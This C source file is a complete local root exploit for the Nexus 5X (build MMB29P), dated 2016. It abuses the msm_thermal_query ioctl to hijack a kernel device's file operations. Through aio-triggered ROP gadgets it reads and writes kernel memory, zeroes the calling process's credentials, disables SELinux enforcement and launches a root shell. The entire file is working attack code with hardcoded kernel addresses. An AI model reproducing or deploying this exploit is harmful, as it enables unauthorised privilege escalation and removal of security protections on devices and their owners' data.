/*
 * Just for Nexus 5x MMB29P
 *
 * zhaojq@zhaojq-HP:~$ adb shell getprop ro.build.fingerprint
 * google/bullhead/bullhead:6.0.1/MMB29P/2473553:user/release-keys
 *
 * Written by Jianqiang Zhao (zhaojianqiang1@gmail.com)
 *
 * 2016-02-03
*/

#include <sys/types.h>  
#include <sys/ioctl.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <fcntl.h>  
#include <errno.h>
#include <sys/mman.h>
#include <linux/aio_abi.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/prctl.h>

#define RET_CHECK(x) \
	if((x) < 0) \
return -1;

#define NEW_PROC_NAME		"mypexploit"
#define KERNEL_BASE		0xffffffc000000000

static int afd;
static aio_context_t ctxx;

/*
 * rop for read:
 * ffffffc00034bcc4:       f9401c00        ldr     x0, [x0,#56]
 * ffffffc00034bcc8:       f9402400        ldr     x0, [x0,#72]       
 * ffffffc00034bccc:       d65f03c0        ret 
 */
static unsigned long rop_read		= 0xffffffc00034bcc4;

/*
 * rop for write 0:
 * ffffffc0002920b0:       f9401800        ldr     x0, [x0,#48]
 * ffffffc0002920b4:       f9002801        str     x1, [x0,#80]           
 * ffffffc0002920b8:       d65f03c0        ret            
 */
static unsigned long rop_write		= 0xffffffc0002920b0;

/*
 * rop for write addr_limit to a larger value:
 * ffffffc0002af24c:       f9401c02        ldr     x2, [x0,#56]  
 * ffffffc0002af250:       f9401801        ldr     x1, [x0,#48] 
 * ffffffc0002af254:       f9000041        str     x1, [x2]           
 * ffffffc0002af258:       b4000041        cbz     x1, 0xffffffc0002af260
 * ffffffc0002af25c:       f9000422        str     x2, [x1,#8]          
 * ffffffc0002af260:       d2804001        mov     x1, #0x200                      // #512
 * ffffffc0002af264:       f2a00401        movk    x1, #0x20, lsl #16     
 * ffffffc0002af268:       f2fbd5a1        movk    x1, #0xdead, lsl #48
 * ffffffc0002af26c:       f9001c01        str     x1, [x0,#56]         
 * ffffffc0002af270:       d65f03c0        ret                  
 */
static unsigned long rop_write_al	= 0xffffffc0002af24c;

#define CLUSTER_NUM		213149
#define SELINUX_ENFORCING	0xffffffc001c3202c
#define INIT_TASK 		0xffffffc0019b11a0
#define KERNEL_LISTEN		0xffffffc000c83088
#define WAN_IOCTL_CDEV		0xffffffc001e0fa78
#define FOPS			0xffffffc001aa0e30
#define WAN_IOCTL		0xffffffc000b4a360
#define COMPAT_WAN_IOCTL	0xffffffc000b4a65c
#define WAN_IOCTL_OPEN		0xffffffc000b4a324
static unsigned long my_task = 0;
static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240;

static unsigned long aio_write_kernel_zero_64(unsigned long addr);
static unsigned long aio_write_kernel_addr_limit(unsigned long addr, unsigned long val);
static int aio_read_kernel_int(unsigned long addr, unsigned int *val4);
static int aio_read_kernel(unsigned long address, unsigned long *value);
static void restore(void);
static void aio_trigger_release(void);

#define MSM_IOCTL_FREQ_SIZE 16

struct __attribute__((__packed__)) cpu_freq_arg {
	uint32_t cpu_num;
	uint32_t freq_req;
};

struct __attribute__((__packed__)) clock_plan_arg {
	uint32_t cluster_num;
	/*
	 ** A value of zero for freq_table_len, will fetch the length of the
	 ** cluster frequency table. A non-zero value will fetch the frequency
	 ** table contents.
	 */
	uint32_t freq_table_len;
	/*
	 ** For clusters with frequency table length greater than
	 ** MSM_IOCTL_FREQ_SIZE, the frequency table is fetched from kernel
	 ** in multiple sets or iterations. The set_idx variable,
	 ** indicates, which set/part of frequency table the user is requesting.
	 ** The set index value starts from zero. A set index value of 'Z',
	 ** will fetch MSM_IOCTL_FREQ_SIZE or maximum available number of
	 ** frequency values (if it is less than MSM_IOCTL_FREQ_SIZE)
	 ** from the frequency table, starting from the index
	 ** (Z * MSM_IOCTL_FREQ_SIZE).
	 ** For example, in a device supporting 19 different frequencies, a set
	 ** index value of 0 will fetch the first 16 (MSM_IOCTL_FREQ_SIZE)
	 ** frequencies starting from the index 0 and a set value of 1 will fetch
	 ** the remaining 3 frequencies starting from the index 16.
	 ** A successful get, will populate the freq_table_len with the
	 ** number of frequency table entries fetched.
	 */
	uint32_t set_idx;
	unsigned int freq_table[MSM_IOCTL_FREQ_SIZE];
};

struct __attribute__((__packed__)) voltage_plan_arg {
	uint32_t cluster_num;
	uint32_t voltage_table_len;
	uint32_t set_idx;
	uint32_t voltage_table[MSM_IOCTL_FREQ_SIZE];
};

struct __attribute__((__packed__)) msm_thermal_ioctl { 
	uint32_t size;
	union { 
		struct cpu_freq_arg cpu_freq;
		struct clock_plan_arg clock_freq;
		struct voltage_plan_arg voltage;
	};
};

enum {
	/*Set CPU Frequency*/
	MSM_SET_CPU_MAX_FREQ = 0x00,
	MSM_SET_CPU_MIN_FREQ = 0x01,
	/*Set cluster frequency*/
	MSM_SET_CLUSTER_MAX_FREQ = 0x02,
	MSM_SET_CLUSTER_MIN_FREQ = 0x03,
	/*Get cluster frequency plan*/
	MSM_GET_CLUSTER_FREQ_PLAN = 0x04,
	/*Get cluster voltage plan */
	MSM_GET_CLUSTER_VOLTAGE_PLAN = 0x05,
	MSM_CMD_MAX_NR,
};

#define MSM_THERMAL_MAGIC_NUM 0xCA /*Unique magic number*/

#define MSM_THERMAL_GET_CLUSTER_FREQUENCY_PLAN _IOR(MSM_THERMAL_MAGIC_NUM,\
		MSM_GET_CLUSTER_FREQ_PLAN, struct msm_thermal_ioctl)

#define MSM_THERMAL_GET_CLUSTER_VOLTAGE_PLAN _IOR(MSM_THERMAL_MAGIC_NUM,\
		MSM_GET_CLUSTER_VOLTAGE_PLAN, struct msm_thermal_ioctl)


static int write_value_at_address(unsigned long address, int value) {
	char data[4];
	int pfd[2];
	int i;

	*(int *)&data = value;

	if (pipe(pfd) == -1) 
		return -1;

	for (i = 0; i < sizeof (data); i++) {
		sleep(0.3);

		char buf[256];

		buf[0] = 0;

		// Here we trigger the vulnerable put_user() function to write in the kernel space
		// Write n bytes in the writing side of the pipe where n is the 1-byte value we want to write
		if (data[i]) {
			if (write(pfd[1], buf, data[i]) != data[i]) {
				printf("error in write().\n");
				return -1;
			}
		}

		// Now ask to the kernel to write in a location how many byte are pending for reading. 
		// Here we trigger the vuln because no check is performed on the destination address.
		if (ioctl(pfd[0], FIONREAD, (void *)(address + i)) == -1) {
			perror("ioctl");
			return -1;
		}

		// Empty the pipe and go on.
		if (data[i]) {
			if (read(pfd[0], buf, sizeof buf) != data[i]) {
				printf("error in read(%d - %s) %d.\n", errno, strerror(errno), i);
				return -1;
			}
		}
	}

	close(pfd[0]);
	close(pfd[1]);

	// Check if we were able to write the value
	return i == sizeof(data);
}

static long ptrace_write_value_at_address(unsigned long address, unsigned long value)
{
	pid_t pid;
	long ret = 0;
	int status;
	int bChiled;

	bChiled = 0;
	pid = fork();
	if (pid < 0) {
		printf("write kernel fork fail (%d - %s)\n", errno, strerror(errno));
		return -1;
	}
	if (pid == 0) {
        	prctl(PR_SET_NAME, (unsigned long)"ischild",0,0,0);
		ret = ptrace(PTRACE_TRACEME, 0, 0, 0);
		if (ret < 0) {
			printf("PTRACE_TRACEME failed\n");
		}
		bChiled = 1;
		signal(SIGSTOP, SIG_IGN);
		kill(getpid(), SIGSTOP);
		exit(EXIT_SUCCESS);
	}

	do {
		ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);
	} while (!bChiled);

	ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);
	if (ret < 0) {
		printf("PTRACE_PEEKDATA failed: %s\n", strerror(errno));
	}

	kill(pid, SIGKILL);
	waitpid(pid, &status, WNOHANG);
	return ret;
}

static long write_kernel(unsigned long address, unsigned long value)
{
	return ptrace_write_value_at_address(address, value);
}

static int write_kernel_int(unsigned long address, int value)
{
	return write_value_at_address(address, value);
}

static int read_kernel(unsigned long address, unsigned long *value)
{
	return aio_read_kernel(address, value);
}

static int read_kernel_int(unsigned long address, unsigned int *value)
{
	return aio_read_kernel_int(address, value);
}

/* search self process from init_task*/
static int get_task_by_comm(unsigned long *task)
{
	unsigned int comm0, comm1, comm2;
	unsigned long task_list, init_task_list, addr;
	int i, ret = 0;
	char task_name[50] = {0};

	task_list = (INIT_TASK + task_offset);
	init_task_list = task_list;
	for(i=0; i<1000; i++) {
		addr = task_list + 8;
		ret = read_kernel(addr, &task_list);

		if(task_list == init_task_list) {
			printf("search task list end, can't get task\n");
			return -1;
		}

		addr = task_list - task_offset + comm_offset;
		ret = read_kernel_int(addr, &comm0);

		addr = task_list - task_offset + comm_offset + 4;
		ret = read_kernel_int(addr, &comm1);

		addr = task_list - task_offset + comm_offset + 4 * 2;
		ret = read_kernel_int(addr, &comm2);

		memcpy(task_name, &comm0, 4);
		memcpy(task_name + 4, &comm1, 4);
		memcpy(task_name + 8, &comm2, 4);
		if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) {
			*task = task_list - task_offset;
			break;
		}
	}

	return 0;
}

static int do_root(void)
{
	int ret;
	unsigned long thread_info = 0, addr_limit = 0, thread_info_reb_fn = 0, thread_info_reb_fn_addr;
	unsigned long i, j, cred;
	unsigned long addr, tmpl0;
	unsigned int tmp0;

	/* search myself */
	ret = get_task_by_comm(&my_task);
	if(ret != 0) {
		printf("[-] get myself fail!\n");
		return -1;
	}

	if(!my_task || (my_task < 0xffffffc000000000)) {
		printf("invalid task address!");
		return -2;
	}

	ret = read_kernel(my_task + 8, &thread_info);
	RET_CHECK(ret);

	ret = read_kernel(thread_info + 8 * 4, &thread_info_reb_fn);
	RET_CHECK(ret);

	thread_info_reb_fn_addr = thread_info + 8 * 4;
	aio_write_kernel_addr_limit(thread_info + 8, thread_info_reb_fn_addr - 8);

	ret = read_kernel(my_task + cred_offset, &cred);
	RET_CHECK(ret);
	if (cred < KERNEL_BASE) return -3;

	i = 1;
	addr = cred + 4 * 4;
	ret = read_kernel_int(addr, &tmp0);
	RET_CHECK(ret);
	if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
		i += 4;

	addr = cred + (i+0) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);
	addr = cred + (i+1) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);
	addr = cred + (i+2) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);
	addr = cred + (i+3) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);

	// release aio
	aio_trigger_release();

	write_kernel(thread_info + 8, 0xffffffffffffffff);

	addr = cred + (i+9) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+10) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+11) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+12) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+13) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+14) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+15) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+16) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	/* success! */

	// disable SELinux
	ret = write_kernel_int(SELINUX_ENFORCING, 0);
	RET_CHECK(ret);

	return 0;
}

inline int io_setup(unsigned nr, aio_context_t *ctxp)
{
	return syscall(__NR_io_setup, nr, ctxp);
}

inline int io_destroy(aio_context_t ctx) 
{
	return syscall(__NR_io_destroy, ctx);
}

inline int io_submit(aio_context_t ctx, long nr,  struct iocb **iocbpp) 
{
	return syscall(__NR_io_submit, ctx, nr, iocbpp);
}

inline int io_getevents(aio_context_t ctx, long min_nr, long max_nr,
		struct io_event *events, struct timespec *timeout)
{
	return syscall(__NR_io_getevents, ctx, min_nr, max_nr, events, timeout);
}

static int aio_trigger_fsync_init(void)
{
	int ret = 0;

	afd = open("/dev/wwan_ioctl", O_RDONLY);
	if (afd == -1) {
		printf("[-] open wwan_ioctl fail(%s)!\n", strerror(errno));
		return -1;
	}

	memset(&ctxx, 0, sizeof(ctxx));
	ret = io_setup(128, &ctxx);
	if (ret != 0) {
		perror("io_setup error");
		close(afd);
		return -1;
	}

	return 0;
}

static void aio_trigger_release(void)
{
	int ret;

	ret = io_destroy(ctxx);
	if (ret < 0) {
		perror("io_destroy error");
	}
	close(afd);
}

static unsigned long aio_write_kernel_addr_limit(unsigned long addr, unsigned long val)
{
	struct iocb cb[3];
	struct iocb *cbs[1];
	uint64_t data[1024];;
	int ret, i;
	struct io_event event;

	/* setup I/O control block */
	memset(cb, 0, sizeof(struct iocb)*3);
	cb[0].aio_fildes = afd;
	cb[0].aio_lio_opcode = IOCB_CMD_FSYNC;
	cb[0].aio_buf = (uint64_t)&data[0];
	cb[0].aio_nbytes = 4;
	cb[0].aio_data = (unsigned long)val;
	cb[0].aio_offset = (unsigned long)addr;
	cbs[0] = &cb[0];

	for(i=0; i<8; i++) {
		((char *)cb)[88+i] = ((unsigned long)rop_write_al >> (i*8)) & 0xff;
	}
	ret = io_submit(ctxx, (unsigned int)1, (struct iocb **)cbs);
	if (ret != 1) {
		if (ret < 0)
			perror("io_submit error");
		else
			perror("could not sumbit IOs");
	}

	memset(&event, 0, sizeof(struct io_event));
	io_getevents(ctxx, 1, 1, &event, NULL);

	return 0;
}

static unsigned long aio_write_kernel_zero_64(unsigned long addr)
{
	struct iocb cb[3];
	struct iocb *cbs[1];
	uint64_t data[1024];;
	int ret, i;
	struct io_event event;

	/* setup I/O control block */
	memset(cb, 0, sizeof(struct iocb)*3);
	cb[0].aio_fildes = afd;
	cb[0].aio_lio_opcode = IOCB_CMD_FSYNC;
	cb[0].aio_buf = (uint64_t)&data[0];
	cb[0].aio_nbytes = 4;
	cb[0].aio_data = (unsigned long)addr - 0x50;
	cbs[0] = &cb[0];

	for(i=0; i<8; i++) {
		((char *)cb)[88+i] = ((unsigned long)rop_write >> (i*8)) & 0xff;
	}
	ret = io_submit(ctxx, (unsigned int)1, (struct iocb **)cbs);
	if (ret != 1) {
		if (ret < 0)
			perror("io_submit error");
		else
			perror("could not sumbit IOs");
	}

	memset(&event, 0, sizeof(struct io_event));
	io_getevents(ctxx, 1, 1, &event, NULL);

	return 0;
}

static int aio_read_kernel_int(unsigned long addr, unsigned int *val4)
{
	struct iocb cb[3];
	struct iocb *cbs[1];
	uint64_t data[1024];;
	int ret, i;
	struct io_event event;

	/* setup I/O control block */
	memset(cb, 0, sizeof(struct iocb)*3);
	cb[0].aio_fildes = afd;
	cb[0].aio_lio_opcode = IOCB_CMD_FSYNC;
	cb[0].aio_buf = (uint64_t)&data[0];
	cb[0].aio_offset = (unsigned long)addr - 0x48;
	cb[0].aio_nbytes = 4;
	cbs[0] = &cb[0];

	for(i=0; i<8; i++) {
		((char *)cb)[88+i] = ((unsigned long)rop_read >> (i*8)) & 0xff;
	}
	ret = io_submit(ctxx, (unsigned int)1, (struct iocb **)cbs);
	if (ret != 1) {
		if (ret < 0)
			perror("io_submit error");
		else
			perror("could not sumbit IOs");
	}

	memset(&event, 0, sizeof(struct io_event));
	ret = io_getevents(ctxx, 1, 1, &event, NULL);
	*val4 = (unsigned int)(event.res & 0xffffffff);

	return 0;
}

static int aio_read_kernel(unsigned long address, unsigned long *value)
{
	unsigned int val0, val1;

	aio_read_kernel_int(address, &val0);
	aio_read_kernel_int(address + 4, &val1);
	*value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000);
}

static void restore(void)
{
	// restore wan_ioctl_cdev->ops
	write_kernel(WAN_IOCTL_CDEV + 9 * 8, FOPS);
}

static int get_root(void)
{
	int fd, ret = 0;
	unsigned int cmd = MSM_THERMAL_GET_CLUSTER_VOLTAGE_PLAN;
	struct msm_thermal_ioctl arg;
	unsigned long fake_fops;
	void *map;

        prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);

	map = mmap((void *)0x01000000, (size_t)0x1000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);
	if(map == MAP_FAILED) {
		ret = -1;
		printf("[-] shellcode mmap failed (%d-%s)\n", errno, strerror(errno));
		goto out;
	}
	printf("[+] prepare fake_fops, mmap'ed @ %p.\n", map);
	memset(map, 0, 0x1000000);

	fake_fops = FOPS & 0xffffffff;
	*(unsigned long*)(fake_fops + 9 * 8) = WAN_IOCTL; // wan_ioctl
	*(unsigned long*)(fake_fops + 10 * 8) = COMPAT_WAN_IOCTL; // compat_wan_ioctl
	*(unsigned long*)(fake_fops + 12 * 8) = WAN_IOCTL_OPEN; // wan_ioctl_open
	*(unsigned long*)(fake_fops + 16 * 8) = KERNEL_LISTEN; // aio_fsync

	fd = open("/dev/msm_thermal_query", O_RDONLY);
	if(fd == -1) {
		ret = -1;
		printf("[-] Open msm_thermal_query fail (%s - %d)\n", strerror(errno), errno);
		goto open_fail;
	}

	printf("[+] overwrite wan_ioctl_cdev ops.\n");
	memset(&arg, 0, sizeof(arg));
	arg.voltage.cluster_num = CLUSTER_NUM; // overwrite wan_ioctl_cdev->ops
	arg.voltage.voltage_table_len = 1;
	arg.voltage.set_idx = 0xfffffff0;
	arg.size = sizeof(struct msm_thermal_ioctl);
	ret = ioctl(fd, cmd, &arg);
	if(ret == -1) {
		ret = 0;
		if(errno != EINVAL) {
			ret = -1;
			printf("[-] Ioctl msm_thermal_query fail (%s - %d)\n", strerror(errno), errno);
			goto ioctl_fail;
		}
	}

	aio_trigger_fsync_init();

	printf("[+] to get root ...\n");
	do_root();

	restore();

ioctl_fail:
	close(fd);
open_fail:
	munmap(map, 0x1000000);
out:
	return ret;
}

void banner(void)
{
	printf("\n");
	printf("*********************************************************\n");
	printf("*	        Just for Nexus 5x  MMB29P		*\n");
	printf("*	by Jianqiang Zhao (zhaojianqiang1@gmail.com)	*\n");
	printf("*********************************************************\n");
	printf("\n");
}

int main(void)
{
	int ret;

	banner();

	get_root();

	printf("[+] SELinux disabled! \n");
	if (!setresuid(0, 0, 0)) {
		setresgid(0, 0, 0);
		printf("\n[+] Got it :)\n");
		printf("[+] uid=%d gid=%d\n", getuid(), getgid());
		sleep(1);
		ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
		if( ret ) {
			printf("execl failed, errno %d\n", errno);
		}
	}

	return 0;
}

